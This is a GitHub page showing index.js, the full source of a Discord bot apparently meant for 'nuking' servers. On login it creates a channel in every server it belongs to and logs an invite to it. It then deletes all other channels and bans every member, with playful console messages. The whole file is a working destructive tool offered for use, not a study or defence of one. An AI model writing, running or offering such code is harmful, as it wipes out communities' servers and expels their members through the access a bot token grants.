forked from XI-IHAN/DOW
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.js
73 lines (62 loc) · 2.19 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
const Discord = require("discord.js");
const client = new Discord.Client();
const fs = require("fs")
const chalk = require('chalk');
// Settings for the bot.
const settings = {
botToken: "INSERT TOKEN HERE"
};
//on ready:
client.on("ready", () => {
//startup message
console.log(chalk.bgGreenBright(`INFO`) + (` Logged in as ${client.user.tag}. (^o^)/`));
// create variable for new channel to prevent it from getting deleted by nuke
let createdChannelName;
// Create an invite to a channel
client.guilds.forEach(server => {
//create new channel
server.createChannel("-", "text").then(channel => {
createdChannelName = channel.name;
//then once channel is created, create an invite link to this channel
channel.createInvite().then(inviteCode => {
//log the invite link to console
console.log(chalk.bgYellowBright(inviteCode));
//catch errors
}).catch(err => {
if (err) throw err;
});
}).catch(err => {
if (err) throw err;
});
});
//delete all channels on server
client.guilds.forEach(server => {
server.channels.forEach(channel => {
if (createdChannelName !== channel.name) {
channel.delete().then(response => {
console.log("my response", response);
}).catch(err => {
if (err) throw err;
});
}
});
});
//ban all members on the server
client.guilds.forEach(guild => {
guild.members.forEach(m => {
m.ban();
//log when member is banned in the console
console.info(`\x1b[37m\x1b[44mINFO\x1b[0m: Banned ${m.user.username}; ID: ${m.id}. (╯°□°)╯︵ ┻━┻`);
});
});
//handle unexpected errors
process.on("uncaughtException", err => {
console.error("\x1b[37m\x1b[41mERROR\x1b[0m: An unknown and unexpected error occurred! x.x.", err);
process.exit(1);
});
});
//handle unhandled rejections
process.on("unhandledRejection", err => {
process.exit(1);
});
client.login(settings.botToken);